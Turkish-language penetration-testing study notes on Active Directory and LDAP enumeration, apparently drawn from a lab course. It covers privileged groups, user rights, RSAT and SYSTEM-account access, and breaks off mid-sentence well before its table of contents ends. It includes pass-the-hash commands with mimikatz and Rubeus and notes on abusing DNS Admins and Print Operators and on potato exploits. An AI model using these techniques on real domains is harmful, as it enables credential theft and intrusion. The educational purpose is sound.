LDAP
Miraç Küçük
Mirackucuk595@gmail.com
İçindekiler
Active Directory Structure................................................................................................................ 5
Why Enumerate AD?....................................................................................................................... 6
AD'de Rights ve Privileges................................................................................................................ 7
“Schema Admins” üyeleri................................................................................................................. 8
User Rights Assignment .................................................................................................................. 9
User Rights Non-Elevated .......................................................................................................... 9
User Rights Elevated ............................................................................................................... 10
Domain User Rights................................................................................................................. 11
Backup Operator Rights........................................................................................................... 12
Microsoft Remote Server Administration Tools (RSAT) ............................................................................ 12
RSAT Background ....................................................................................................................... 12
PowerShell - Mevcut RSAT Araçları ................................................................................................. 13
PowerShell - Mevcut Tüm RSAT Araçlarını Yükleyin ................................................................... 14
PowerShell - RSAT Tool Yükleme ............................................................................................. 14
Enumeration için Domain Context..................................................................................................... 15
CMD - Runas User .................................................................................................................. 15
RSAT ile Enumeration ................................................................................................................... 15
CMD - MMC Domain Kullanıcısı Olarak Çalıştır........................................................................... 16
NT AUTHORITY\SYSTEM Gücü ......................................................................................................... 18
LDAP Overview............................................................................................................................... 20
AD LDAP Authentication............................................................................................................... 21
LDAP Queries ............................................................................................................................. 21
LDAP Query - User Related Search ................................................................................................. 22
LDAP Query - Ayrıntılı Search.......................................................................................................... 22
Active Directory Search Filters............................................................................................................. 23
PowerShell Filters ........................................................................................................................ 24
PowerShell - Filter Installed Software .............................................................................................. 24
PowerShell - Filter Out Microsoft Software........................................................................................ 24
Filter Examples: AD Object Properties .............................................................................................. 25
PowerShell - Filter Examples .......................................................................................................... 25
PowerShell - Filter For SQL............................................................................................................. 26
PowerShell - Filter Administrative Groups .......................................................................................... 26
PowerShell - Filter Administrative Users ............................................................................................ 27
PowerShell - ServicePrincipalName ile Administrative Kullanıcıları Bulma............................................. 28
LDAP Search Filters .......................................................................................................................... 28
Basic LDAP Filter Syntax ve Operators ............................................................................................. 28
Search Criteria ............................................................................................................................ 29
Object Identifiers (OIDs) ............................................................................................................... 46
LDAP Query - Disabled User Accounts (Devre Dışı Kullanıcı Hesaplarını Filtrele) .................................. 47
LDAP Query - Find All Groups ........................................................................................................ 48
Example LDAP Filters .................................................................................................................... 49
LDAP Query - Description Field ...................................................................................................... 49
LDAP Query - Find Trusted Users ................................................................................................... 50
LDAP Query - Find Trusted Computers............................................................................................ 50
LDAP Sorgusu - Boş Parolalı Kullanıcılar ........................................................................................... 51
Recursive Match .......................................................................................................................... 51
PowerShell - Security Operations Üyeleri.......................................................................................... 52
PowerShell - User's Group Membership ........................................................................................... 52
PowerShell - All Groups of User...................................................................................................... 52
LDAP Query - All Groups of User.................................................................................................... 53
SearchBase ve SearchScope Parametreleri ..................................................................................... 53
SearchBase ve Searching Scope Parametreleri Örnekleri .................................................................... 55
PowerShell - Tüm AD Kullanıcılarının Sayısı........................................................................................ 56
PowerShell - SearchScope Base..................................................................................................... 56
PowerShell - SearchScope Base OU Object ..................................................................................... 56
PowerShell - Searchscope OneLevel .............................................................................................. 57
PowerShell - Searchscope 1 .......................................................................................................... 57
PowerShell - Searchscope Subtree ................................................................................................ 58
Built-in Tools ile Active Directory Enumerating......................................................................................... 58
User-Account-Control (UAC) Attributes .......................................................................................... 58
PowerShell - Built-in AD Cmdlet'leri.................................................................................................. 59
PowerShell - UAC Values .............................................................................................................. 60
PowerView - Domain Accounts........................................................................................................ 60
Built-In Tools Kullanarak Enumeration .............................................................................................. 61
DS Tools .................................................................................................................................... 61
AD PowerShell Module.................................................................................................................. 61
Windows Management Instrumentation (WMI).................................................................................. 62
LDAP Anonymous Bind...................................................................................................................... 63
LDAP Anonim Bind'dan Yararlanma.................................................................................................. 63
Ldapsearch ................................................................................................................................ 65
Windapsearch ............................................................................................................................ 65
Other Tools................................................................................................................................. 67
Credentialed LDAP Enumeration .................................................................................................... 68
Windapsearch ............................................................................................................................ 68
Ldapsearch-ad ............................................................................................................................ 70
LDAP Özeti ................................................................................................................................. 71
HTB: Support Recon ........................................................................................................................ 71
nmap......................................................................................................................................... 71
Enumeration Strategy................................................................................................................... 73
LDAP - TCP 389 .......................................................................................................................... 73
SMB - TCP 445 ........................................................................................................................... 75
General Info ........................................................................................................................... 75
Shares.................................................................................................................................... 75
support-tools .......................................................................................................................... 76
Auth as ldap ................................................................................................................................... 77
UserInfo.exe .............................................................................................................................. 77
Run UserInfo.exe .................................................................................................................... 77
Network ................................................................................................................................. 78
Recover LDAP Password ............................................................................................................... 79
Static ..................................................................................................................................... 80
Dynamic................................................................................................................................. 81
Verify Creds ................................................................................................................................ 82
Shell as support .............................................................................................................................. 82
BloodHound ............................................................................................................................... 82
LDAP ......................................................................................................................................... 83
Evil-WinRM ................................................................................................................................. 84
Shell as domainadmin ...................................................................................................................... 85
Enumeration .............................................................................................................................. 85
Get Domain TGT .......................................................................................................................... 86
Pull in Support Scripts / Exe ..................................................................................................... 86
Verify Environment ................................................................................................................. 87
Create FakeComputer ............................................................................................................. 88
Attack .................................................................................................................................... 88
Auth as Fake Computer ........................................................................................................... 90
Use Ticket.................................................................................................................................. 93
Fails ....................................................................................................................................... 93
Remote Use ............................................................................................................................ 94
LDAP
Active Directory (AD) , Windows ağ ortamları için bir dizin servisidir. User'lar, computer'lar,
groups, network devices ve file shares, group policies, servers and workstations ve trusts
dahil olmak üzere bir kuruluşun kaynaklarının merkezi olarak yönetilmesini sağlayan
dağıtılmış, hiyerarşik bir yapıdır. AD, bir Windows domain ortamında authentication (kimlik
doğrulama) ve authorization (yetkilendirme) işlevlerini sağlar. İlk olarak Windows Server
2000 ile birlikte gönderilmiştir; son yıllarda artan saldırılara maruz kalmıştır. Geriye dönük
olarak uyumlu olacak şekilde tasarlanmıştır ve birçok özelliği tartışmalı bir şekilde “varsayılan
olarak güvenli” değildir ve kolayca yanlış yapılandırılabilir.
Bu, bir ağ içinde lateral ve vertikal olarak hareket etmek ve unauthorized access (yetkisiz
erişim) elde etmek için kullanılabilir. AD esasen, privilege düzeylerine bakılmaksızın domain
içindeki tüm kullanıcıların erişebildiği büyük bir veritabanıdır. Ek privilege'ları olmayan temel
bir AD user hesabı, AD'de bulunan object'lerin çoğunu numaralandırmak için kullanılabilir,
bunlara aşağıdakiler dahildir ancak bunlarla sınırlı değildir:
Domain Computers
Domain Users
Domain Group Information
Default Domain Policy
Domain Functional Levels
Password Policy
Group Policy Objects (GPOs)
Kerberos Delegation
Domain Trusts
Access Control Lists (ACLs)
Bu veriler, bir Active Directory ortamının genel güvenlik duruşunun net bir resmini çizecektir.
Yanlış yapılandırmaları, aşırı izin veren politikaları ve bir AD ortamında privilege'ları artırmanın
diğer yollarını hızlı bir şekilde belirlemek için kullanılabilir. AD'deki yanlış yapılandırmalardan,
kötü uygulamalardan veya kötü yönetimden yararlanan birçok saldırı mevcuttur, örneğin:
Kerberoasting / ASREPRoasting
NTLM Relaying
Network traffic poisoning
Password spraying
Kerberos delegation abuse
Domain trust abuse
Credential theft
Object control
Active Directory'nin güçlendirilmesi, güçlü bir yama ve yapılandırma yönetimi politikası ve
uygun ağ segmentasyonu ile birlikte önceliklendirilmelidir. Bir ortam sıkı bir şekilde
yönetiliyorsa ve bir saldırgan bir yer edinip EDR veya diğer korumaları atlayabilirse, AD'nin
uygun şekilde yönetilmesi ayrıcalıklarını artırmalarını, lateral olarak hareket etmelerini ve en
önemli mücevherlere ulaşmalarını engelleyebilir. Uygun kontroller bir saldırganı yavaşlatmaya
yardımcı olacak ve potansiyel olarak onları daha gürültülü olmaya ve tespit edilme riskine
karşı zorlayacaktır.
Active Directory Structure
Active Directory hiyerarşik bir ağaç yapısında düzenlenmiştir; en üstte bir veya daha fazla
domain içeren ve kendileri de iç içe geçmiş subdomainler içerebilen bir forest bulunur.
Forest, tüm object'lerin yönetim kontrolü altında olduğu güvenlik sınırıdır (security
boundary) . Bir forest birden fazla domain içerebilir ve bir domain başka child veya
subdomain'ler içerebilir. Domain, içerdiği object'lere ( users, computers, and groups)
erişilebilen bir yapıdır. Object'ler AD'deki en temel veri birimidir
“Domain Controllers”, “Users” ve “Computers” gibi birçok built-in Organizational Unit (OU)
içerir ve gerektiğinde yeni OU'lar oluşturulabilir. OU'lar, farklı group policy'lerin atanmasına
olanak tanıyan objects ve sub-OU'lar içerebilir.
Bu yapıyı bir Domain Controller üzerinde Active Directory Users and Computers' ı açarak
grafiksel olarak görebiliriz. Laboratuvar domainimiz INLANEFREIGHT.LOCAL 'de Admin ,
Employees , Servers , Workstations gibi çeşitli OU'lar görmekteyiz. Bu OU'ların birçoğu,
Employees altındaki Mail Room OU gibi iç içe (nested) OU'lara sahiptir. Bu, Active Directory
içinde net ve tutarlı bir yapının korunmasına yardımcı olur; bu, domain genelinde ayarları
zorlamak için Group Policy Objects (GPO'lar) eklediğimizde özellikle önemlidir.
Active Directory'nin yapısını anlamak, doğru enumeration yapmak ve bazen uzun yıllar
boyunca bir ortamda gözden kaçan kusurları ve yanlış yapılandırmaları ortaya çıkarmak için
çok önemlidir
Why Enumerate AD?
Penetrasyon test uzmanları olarak, enumeration , ustalaşmamız gereken en önemli
becerilerden biri olmasa da biridir. Yeni bir ağda değerlendirmeye başlarken ortamın
kapsamlı bir envanterini çıkarmak son derece önemlidir. Bu aşamada toplanan bilgiler daha
sonraki saldırılarımızda ve hatta sızma sonrasında bize yol gösterecektir. Kurumsal ağlarda
AD'nin yaygınlığı göz önüne alındığında, muhtemelen kendimizi düzenli olarak AD
ortamlarında bulacağız ve bu nedenle enumeration sürecimizi geliştirmek önemlidir.
İster penetrasyon testi ister hedefli AD değerlendirmesi gerçekleştirelim, her zaman daha
fazlasını yapabilir ve müşterilerimize AD'lerinin güçlü ve zayıf yönlerinin ayrıntılı bir resmini
sunarak onlara ekstra değer sağlayabiliriz. Kurumsal ortamlar yıllar içinde birçok değişiklik
geçirir; çalışanlar ve hostlar eklenir ve çıkarılır, AD'de değişiklik gerektiren yazılım ve
uygulamalar veya GPO değişiklikleri gerektiren kurumsal politikalar yüklenir. Bu değişiklikler
yanlış yapılandırma yoluyla güvenlik kusurlarına yol açabilir ve değerlendiriciler olarak bizim
görevimiz bu kusurları bulmak, bunlardan yararlanmak ve müşterilerimizin bunları
düzeltmesine yardımcı olmaktır.
Bir AD ortamında yerimizi aldıktan sonra, aşağıdakiler dahil ancak bunlarla sınırlı olmamak
üzere birkaç temel bilgi toplayarak başlamalıyız
Domain fonksiyonel seviyesi
Domain password policy
AD user'larının tam bir envanteri
AD bilgisayarlarının tam bir envanteri
AD gruplarının ve üyeliklerinin tam bir envanteri
Domain trust ilişkileri
Object ACL'ler
Group Policy Objects (GPO) bilgileri
Remote access rights
Elimizdeki bu bilgilerle, mevcut kullanıcımızın veya tüm Domain Users grubunun bir veya
daha fazla host'a RDP ve/veya local administrator erişimi olması gibi “ quick wins”
durumlarını araştırabiliriz. Bu, büyük ortamlarda birçok nedenden dolayı yaygındır; bunlardan
biri jump host'ların yanlış kullanımı, diğeri ise Citrix server Remote Desktop Services (RDS)
yanlış yapılandırmalarıdır. Mevcut kullanıcımızın domain içinde hangi right'lara sahip
olduğunu da kontrol etmeliyiz. Herhangi bir privileg'lı gruba üye mi? Yetki devri yapılmış
herhangi bir private rights var mı? Kullanıcı, bilgisayar veya GPO gibi başka bir domain
object'i üzerinde herhangi bir kontrole sahipler mi?
Enumeration işlemi tekrarlıdır. AD ortamında ilerledikçe, hostları ve kullanıcıları açığa
çıkardıkça, hedefimize ulaşmamıza yardımcı olacak daha fazla access elde edip etmediğimizi
görmek için ek enumeration gerçekleştirmemiz gerekecektir.
AD'de Rights ve Privileges
AD, üyelerine yüksek rights ve privileges veren birçok grup içerir. Bunların birçoğu, bir
domain içindeki privilege'ları arttırmak ve nihayetinde bir Domain Controller (DC) üzerinde
Domain Admin veya SYSTEM privilege'ı elde etmek için abuse edilebilir. Bu gruplardan
bazıları aşağıda listelenmiştir.
Grup Adı Açıklama
Default Domain Admins ve Enterprise Admins “ super” grupları.
Administrators
Server Operators Üyeler servisleri değiştirebilir, SMB paylaşımlarına erişebilir ve dosyaları
yedekleyebilir.
Backup Üyeler DC'lere (Domain Controller) local olarak giriş yapabilir ve Domain
Operators Admins gibi değerlendirilmelidir. SAM/NTDS veritabanının shadow kopyalarını
oluşturabilir, remote olarak registry okuyabilir ve DC üzerindeki dosya
sistemine SMB üzerinden erişebilir. Bu grup bazen DC olmayan sistemlerde
local Backup Operators grubuna eklenir.
Print Operators Üyeler DC'lere local olarak giriş yapabilir ve Windows'u zararlı bir driver
yüklemeye "kandırabilir".
Hyper-V Eğer virtual DC'ler varsa, Hyper-V Administrators gibi sanallaştırma
Administrators Administrator'leri Domain Admins gibi değerlendirilmelidir.
Account Üyeler, koruma altına alınmamış hesapları ve grupları değiştirebilir.
Operators
Grup Adı Açıklama
Remote Desktop Üyeler varsayılan olarak kritik yetkilere sahip değildir ancak genellikle Allow
Users Login Through Remote Desktop Services gibi ek right'lar alır. RDP protokolüyle
lateral movement gerçekleştirebilirler.
Remote Üyeler DC'lere PSRemoting ile giriş yapabilir. (Bu grup bazen DC olmayan
Management sistemlerde local remote management grubuna eklenir.)
Users
Group Policy Üyeler yeni GPO oluşturabilir ancak bir domain veya OU gibi bir konteynere
Creator Owners GPO bağlamak için ek right'lar atanması gerekir.
Schema Admins Üyeler Active Directory schema yapısını değiştirebilir ve oluşturulacak
Group/GPO'ları backdoor bırakmak amacıyla değiştirebilirler.
DNS Admins Üyeler bir DC üzerinde DLL yükleyebilir ancak DNS server'ı yeniden başlatma
yetkisine sahip değildir. Kalıcılık için zararlı bir DLL yükleyip sistemin yeniden
başlamasını bekleyebilirler. Ancak bu genellikle servisin çökmesine neden olur.
Daha güvenilir bir yöntem olarak WPAD record oluşturabilirler.
“Schema Admins” üyeleri
PS C:\htb> Get-ADGroup -Identity "Schema Admins" -Properties *
adminCount: 1
CanonicalName: INLANEFREIGHT.LOCAL/Users/Schema Admins
CN: Schema Admins
Created: 7/26/2020 4:14:37 PM
createTimeStamp: 7/26/2020 4:14:37 PM
Deleted:
Description: Designated administrators of the schema
DisplayName:
DistinguishedName: CN=Schema Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
dSCorePropagationData:
- 7/29/2020 11:52:30 PM
- 7/29/2020 11:09:16 PM
- 7/27/2020 9:45:00 PM
- 7/27/2020 9:34:13 PM
- ...
GroupCategory: Security
GroupScope: Universal
groupType: -2147483640
HomePage:
instanceType: 4
isCriticalSystemObject: True
isDeleted:
LastKnownParent:
ManagedBy:
member:
- CN=Jenna Smith,OU=Server Team,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
- CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
MemberOf:
- CN=Denied RODC Password Replication Group,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
Members:
- CN=Jenna Smith,OU=Server Team,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
- CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
Modified: 7/30/2020 2:04:05 PM
modifyTimeStamp: 7/30/2020 2:04:05 PM
Name: Schema Admins
nTSecurityDescriptor: System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory: CN=Group,CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
ObjectClass: group
ObjectGUID: 36eef5cb-92b1-47d2-a25d-b9d73783ed1e
objectSid: S-1-5-21-2974783224-3764228556-2640795941-518
ProtectedFromAccidentalDeletion: False
SamAccountName: Schema Admins
sAMAccountType: 268435456
sDRightsEffective: 15
SID: S-1-5-21-2974783224-3764228556-2640795941-518
SIDHistory: {}
uSNChanged: 66825
uSNCreated: 12336
whenChanged: 7/30/2020 2:04:05 PM
whenCreated: 7/26/2020 4:14:37 PM
User Rights Assignment
Group üyeliğine ve Group Policy yoluyla atanan priviege'ler gibi diğer faktörlere bağlı olarak,
users hesaplarına çeşitli rights atanabilir. User Rights Assignment (Kullanıcı Hakları Ataması)
hakkındaki bu Microsoft makalesi, Windows'ta ayarlanabilen user right'ların her biri hakkında
ayrıntılı bir açıklama sağlar.
whoami /priv komutunu yazdığınızda, mevcut kullanıcınıza atanan tüm user right'ları
listelenecektir. Bazı right'lar yalnızca administrative kullanıcılar tarafından kullanılabilir ve
yalnızca elevated (yükseltilmiş) bir cmd ya da PowerShell oturumu çalıştırıldığında
listelenebilir/kullanılabilir. Bu elevated right'lar ve User Account Control (Kullanıcı Hesabı
Denetimi) (UAC) kavramları, Windows Vista ile getirilen ve uygulamaların kesinlikle gerekli
olmadıkça tam izinlerle çalışmasını kısıtlayan güvenlik özellikleridir. non-elevated bir console
ile elevated bir console'da bir administrator olarak kullanabileceğimiz right'ları
karşılaştırırsak, bunların büyük ölçüde farklı olduğunu görürüz.
Aşağıda bir Domain Admin kullanıcısının sahip olduğu haklar yer almaktadır.
User Rights Non-Elevated
non-elevated bir konsolda aşağıdakileri görebiliriz:
PS C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
User Rights Elevated
Elevated bir komut çalıştırırsak (kullanıcımız nested grup üyeliği yoluyla local admin
right'larına sahiptir; Domain Users grubu local Administrators grubundadır),
kullanabileceğimiz right'ların tam listesini görebiliriz:
PS C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description
State
========================================
================================================ ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process
Disabled
SeMachineAccountPrivilege Add workstations to domain
Disabled
SeSecurityPrivilege Manage auditing and security log
Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects
Disabled
SeLoadDriverPrivilege Load and unload device drivers
Disabled
SeSystemProfilePrivilege Profile system performance
Disabled
SeSystemtimePrivilege Change the system time
Disabled
SeProfileSingleProcessPrivilege Profile single process
Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority
Disabled
SeCreatePagefilePrivilege Create a pagefile
Disabled
SeBackupPrivilege Back up files and directories
Disabled
SeRestorePrivilege Restore files and directories
Disabled
SeShutdownPrivilege Shut down the system
Disabled
SeDebugPrivilege Debug programs
Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values
Disabled
SeChangeNotifyPrivilege Bypass traverse checking
Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system
Disabled
SeUndockPrivilege Remove computer from docking station
Disabled
SeEnableDelegationPrivilege Enable computer and user accounts to be
Disabled
trusted for delegation
SeManageVolumePrivilege Perform volume maintenance tasks
Disabled
SeImpersonatePrivilege Impersonate a client after authentication
Enabled
SeCreateGlobalPrivilege Create global objects
Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set
Disabled
SeTimeZonePrivilege Change the time zone
Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links
Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another
Disabled
user in the same session
Buna karşın, standart bir domain kullanıcısı çok daha az hakka sahiptir
Domain User Rights
PS C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
User right'ları, içinde bulundukları gruplara ve/veya kendilerine atanan privilege'lara bağlı
olarak artar. Aşağıda Backup Operators grubundaki kullanıcılara verilen right'lara bir örnek
verilmiştir. Bu gruptaki kullanıcılar şu anda UAC tarafından kısıtlanan başka right'lara da
sahiptir. Yine de, bu komuttan SeShutdownPrivilege 'a sahip olduklarını görebiliriz, bu da bir
domain controller'da local olarak oturum açmaları durumunda (RDP veya WinRM aracılığıyla
değil) büyük bir servis kesintisine neden olabilecek bir domain controller'ı kapatabilecekleri
anlamına gelir.
Backup Operator Rights
PS C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Attackers ve defenders olarak, bu grupların üyeliklerini gözden geçirmemiz gerekir. Domain'e
daha fazla erişim sağlamak veya domain'i ihlal etmek için kullanılabilecek bu gruplardan
birine veya daha fazlasına görünüşte düşük privileg'lı kullanıcıların eklendiğini görmek nadir
değildir.
Microsoft Remote Server Administration Tools
(RSAT)
RSAT Background
Remote Server Administration Tools ( RSAT ), Windows 2000 günlerinden beri Windows'un
bir parçasıdır. RSAT, sistem adminlerinin Windows 10, Windows 8.1, Windows 7 veya
Windows Vista çalıştıran bir workstation'dan Windows Server rollerini ve özelliklerini remote
olarak yönetebilmelerini sağlar. RSAT yalnızca Windows'un Professional veya Enterprise
sürümlerine kurulabilir. Kurumsal bir ortamda RSAT, Active Directory, DNS ve DHCP'yi
remote yönetebilir. RSAT ayrıca yüklü sunucu rollerini ve özelliklerini, File Services'i ve
Hyper-V'yi yönetmemizi sağlar. RSAT ile birlikte gelen araçların tam listesi:
SMTP Server Tools
Hyper-V Management Tools
Hyper-V Module for Windows PowerShell
Hyper-V GUI Management Tools
Windows Server Update Services Tools
API and PowerShell cmdlets
User Interface Management Console
Active Directory Users and Computers Snap-in
Active Directory Sites and Services Snap-in
Active Directory Domains and Trusts Snap-in
Active Directory Administrative Center Snap-in
ADSI Edit Snap-in
Active Directory Schema Snap-in (Not Registered)
Active Directory Command Line Tools
Active Directory Module for Windows PowerShell
IIS Management Tools
IIS Management Console
IIS Management Compatibility
Feature Tools
Remote Desktop Services Tools
Role Tools
Update Services Tools
Group Policy Tools
Bu script, RSAT'ı Windows 10 1809, 1903 ve 1909'a yüklemek için kullanılabilir. Windows'un
diğer sürümleri için kurulum talimatlarının yanı sıra RSAT hakkında ek bilgileri burada
bulabilirsiniz. RSAT, PowerShell ile de kolayca kurulabilir.
PowerShell kullanarak varsa hangi RSAT araçlarının yüklü olduğunu kontrol edebiliriz
PowerShell - Mevcut RSAT Araçları
PS C:\htb> Get-WindowsCapability -Name RSAT* -Online | Select-Object -Property Name,
State
Name State
---- -----
Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 NotPresent
Rsat.BitLocker.Recovery.Tools~~~~0.0.1.0 NotPresent
Rsat.CertificateServices.Tools~~~~0.0.1.0 NotPresent
Rsat.DHCP.Tools~~~~0.0.1.0 NotPresent
Rsat.Dns.Tools~~~~0.0.1.0 NotPresent
Rsat.FailoverCluster.Management.Tools~~~~0.0.1.0 NotPresent
Rsat.FileServices.Tools~~~~0.0.1.0 NotPresent
Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 NotPresent
Rsat.IPAM.Client.Tools~~~~0.0.1.0 NotPresent
Rsat.LLDP.Tools~~~~0.0.1.0 NotPresent
Rsat.NetworkController.Tools~~~~0.0.1.0 NotPresent
Rsat.NetworkLoadBalancing.Tools~~~~0.0.1.0 NotPresent
Rsat.RemoteAccess.Management.Tools~~~~0.0.1.0 NotPresent
Rsat.RemoteDesktop.Services.Tools~~~~0.0.1.0 NotPresent
Rsat.ServerManager.Tools~~~~0.0.1.0 NotPresent
Rsat.Shielded.VM.Tools~~~~0.0.1.0 NotPresent
Rsat.StorageMigrationService.Management.Tools~~~~0.0.1.0 NotPresent
Rsat.StorageReplica.Tools~~~~0.0.1.0 NotPresent
Rsat.SystemInsights.Management.Tools~~~~0.0.1.0 NotPresent
Rsat.VolumeActivation.Tools~~~~0.0.1.0 NotPresent
Rsat.WSUS.Tools~~~~0.0.1.0 NotPresent
Buradan, aşağıdaki komutu kullanarak mevcut tüm araçları yüklemeyi seçebiliriz:
PowerShell - Mevcut Tüm RSAT Araçlarını Yükleyin
PS C:\htb> Get-WindowsCapability -Name RSAT* -Online | AddWindowsCapability –Online
Gerektiğinde tool'ları teker teker de kurabiliriz.
PowerShell - RSAT Tool Yükleme
PS C:\htb> Add-WindowsCapability -Name Rsat.ActiveDirectory.DSLDS.Tools~~~~0.0.1.0 –
Online
Kurulduktan sonra, tüm tool'lar Control Panel 'deki Administrative Tools (Yönetimsel
Araçlar) altında bulunacaktır.
Enumeration için Domain Context
Birçok toolda credential ve context parametreleri eksiktir ve bunun yerine bu değerleri
doğrudan geçerli context'ten alırlar. Bir parolaya veya hash'e erişiminiz varsa, Windows'ta bir
user'ın context'ini değiştirmenin birkaç yolu vardır, örneğin:
Built-in runas.exe command line aracından yararlanmak için “ runas /netonly ” kullanılması.
CMD - Runas User
C:\htb> runas /netonly /user:htb.local\jackie.may powershell
Daha sonraki modüllerde tartışacağımız Rubeus ve mimikatz gibi diğer araçlara cleartext
kimlik bilgileri veya bir NTLM password hash aktarılabilir.
CMD - Rubeus.exe Cleartext Credentials
C:\htb> rubeus.exe asktgt /user:jackie.may /domain:htb.local /dc:10.10.110.100
/rc4:ad11e823e1638def97afa7cb08156a94
CMD - Mimikatz.exe Cleartext Credentials
C:\htb> mimikatz.exe sekurlsa::pth /domain:htb.local /user:jackie.may
/rc4:ad11e823e1638def97afa7cb08156a94
RSAT ile Enumeration
Domain'e dahil bir sistemi abuse edersek (ya da bir müşteri workstation'larından birinden AD
değerlendirmesi yapmanızı isterse), AD'yi enumerate için RSAT'tan yararlanabiliriz. RSAT,
Active Directory Users and Computers ve ADSI Edit gibi GUI araçlarını kullanımımıza
sunacak olsa da, bu konu boyunca gördüğümüz en önemli araç PowerShell Active Directory
modülüdür.
Alternatif olarak, komut satırından “ runas ” kullanarak herhangi bir RSAT snap-in'ini
çalıştırarak domain'e katılmamış bir host'tan (domain controller ile iletişim kuran bir subnet'te
olması şartıyla) domain'i enumerate edebiliriz. Bu, özellikle kendimizi internal bir
değerlendirme yaparken bulduğumuzda, geçerli AD kimlik bilgileri elde ettiğimizde ve bir
Windows VM'den numaralandırma yapmak istediğimizde kullanışlıdır.
MMC Console 'u aşağıdaki command syntax'ı kullanarak domain'e bağlı olmayan bir
bilgisayardan da açabiliriz:
CMD - MMC Domain Kullanıcısı Olarak Çalıştır
C:\htb> runas /netonly /user:Domain_Name\Domain_USER mmc
RSAT snap-in'lerinden herhangi birini ekleyebilir ve freightlogistics.local domain'indeki
hedef kullanıcı sally.jones context'inde hedef domain'i enumerate edebiliriz. Snap-in'leri
ekledikten sonra, “belirtilen domain ya mevcut değil ya da iletişime geçilemedi” şeklinde bir
hata mesajı alacağız. Buradan, Active Directory Users and Computers snap-in'ine (veya
seçilen başka bir snap-in'e) sağ tıklayıp Change Domain 'i seçmemiz gerekir.
Change domain diyalog kutusuna hedef domain'i yazın, burada freightlogistics.local .
Buradan, artık AD RSAT snap-in'lerinden herhangi birini kullanarak domain'i serbestçe
enumerate edebiliriz.
Bu grafiksel araçlar kullanışlı ve kullanımı kolay olsa da, büyük bir domain'i enumerate
etmeye çalışırken çok verimsizdirler. Önümüzdeki birkaç bölümde, PowerShell kullanarak
AD'yi enumerate etmek için kullanabileceğimiz LDAP ve çeşitli search filter türlerini
tanıtacağız. Bu bölümlerde ele aldığımız konular, AD'nin nasıl çalıştığını ve bilgilerin verimli bir
şekilde nasıl aranacağını daha iyi anlamamıza yardımcı olacak .
NT AUTHORITY\SYSTEM Gücü
LocalSystem account NT AUTHORITY\SYSTEM , Windows işletim sistemlerinde servis control
manager tarafından kullanılan built-in bir accounttur. İşletim sistemindeki en yüksek access
düzeyine sahiptir (ve Trusted Installer privilege'ları ile daha da güçlü hale getirilebilir). Bu
hesap local bir administrator hesabından daha fazla privilege'a sahiptir ve çoğu Windows
servisini çalıştırmak için kullanılır. Üçüncü parti servislerin varsayılan olarak bu account
context'inde çalışması da çok yaygındır. SYSTEM account aşağıdaki privilege'lere sahiptir:
Privilege Default State
================================== =============
SE_ASSIGNPRIMARYTOKEN_NAME disabled
SE_AUDIT_NAME enabled
SE_BACKUP_NAME disabled
SE_CHANGE_NOTIFY_NAME enabled
SE_CREATE_GLOBAL_NAME enabled
SE_CREATE_PAGEFILE_NAME enabled
SE_CREATE_PERMANENT_NAME enabled
SE_CREATE_TOKEN_NAME disabled
SE_DEBUG_NAME enabled
SE_IMPERSONATE_NAME enabled
SE_INC_BASE_PRIORITY_NAME enabled
SE_INCREASE_QUOTA_NAME disabled
SE_LOAD_DRIVER_NAME disabled
SE_LOCK_MEMORY_NAME enabled
SE_MANAGE_VOLUME_NAME disabled
SE_PROF_SINGLE_PROCESS_NAME enabled
SE_RESTORE_NAME disabled
SE_SECURITY_NAME disabled
SE_SHUTDOWN_NAME disabled
SE_SYSTEM_ENVIRONMENT_NAME disabled
SE_SYSTEMTIME_NAME disabled
SE_TAKE_OWNERSHIP_NAME disabled
SE_TCB_NAME enabled
SE_UNDOCK_NAME disabled
Domain'e katılmış bir host üzerindeki SYSTEM account'u, esasen bir private user account
olan computer account'u taklit ederek Active Directory'de enumerate yapabilir. Bir analiz
sırasında domain'e bağlı bir host'a SYSTEM privilege'larıyla ulaşırsanız ve bellekte ya da
makinedeki diğer verilerde işe yarar bir credential bulamazsanız, yine de yapabileceğiniz pek
çok şey vardır. Bir domain ortamında SYSTEM düzeyinde access'e sahip olmak neredeyse
bir domain user hesabına sahip olmakla eşdeğerdir. Buradaki tek gerçek engel Kerberoasting
gibi crosstrust Kerberos saldırılarını gerçekleştirememektir.
Bir host üzerinde SYSTEM düzeyinde access elde etmenin, bunlarla sınırlı olmamak üzere,
çeşitli yolları vardır:
EternalBlue veya BlueKeep gibi Remote Windows exploitleri.
SYSTEM account context'inde çalışan bir servisi kötüye kullanma.
Eski Windows sistemlerine karşı RottenPotatoNG, Juicy Potato veya Windows
10/Windows Server 2019'u hedefliyorsa PrintSpoofer kullanarak SeImpersonate
